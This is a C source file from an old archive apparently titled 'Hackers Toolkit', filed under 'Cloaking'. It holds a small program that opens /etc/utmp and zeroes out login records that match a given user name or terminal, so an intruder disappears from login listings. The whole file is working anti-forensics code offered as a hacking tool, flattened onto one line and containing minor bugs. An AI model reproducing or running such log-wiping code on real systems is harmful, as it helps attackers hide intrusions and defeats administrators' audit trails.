Hackers Toolkit v2.0/Hackers_Toolkit_v2.0.iso/HTML/archive/Unix/Cloaking/unwho.c

C/C++ Source or Header | 1999-11-04 | 948b | 1 lines

/* This program removes utmp entries by name or number */#include <utmp.h>#include <stdio.h>#include <sys/file.h>#include <sys/fcntlcom.h>void usage(name)char *name;{    printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);    exit(1);}main(int argc, char **argv){    int fd;    struct utmp utmp;    int size;    int match, tty = 0;    if (argc!=2)       usage(argv[0]);    if ( !strncmp(argv[1],"tty",3) )       tty++;    fd = open("/etc/utmp",O_RDWR);    if (fd >= 0)    {       size = read(fd, &utmp, sizeof(struct utmp));       while ( size == sizeof(struct utmp) )       {          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :            ( !strcmp(utmp.ut_name, argv[1]) ) )          {             lseek( fd, -sizeof(struct utmp), L_INCR );             bzero( &utmp, sizeof(struct utmp) );             write( fd, &utmp, sizeof(struct utmp) );          }          size = read( fd, &utmp, sizeof(struct utmp) );       }    }    close(fd);}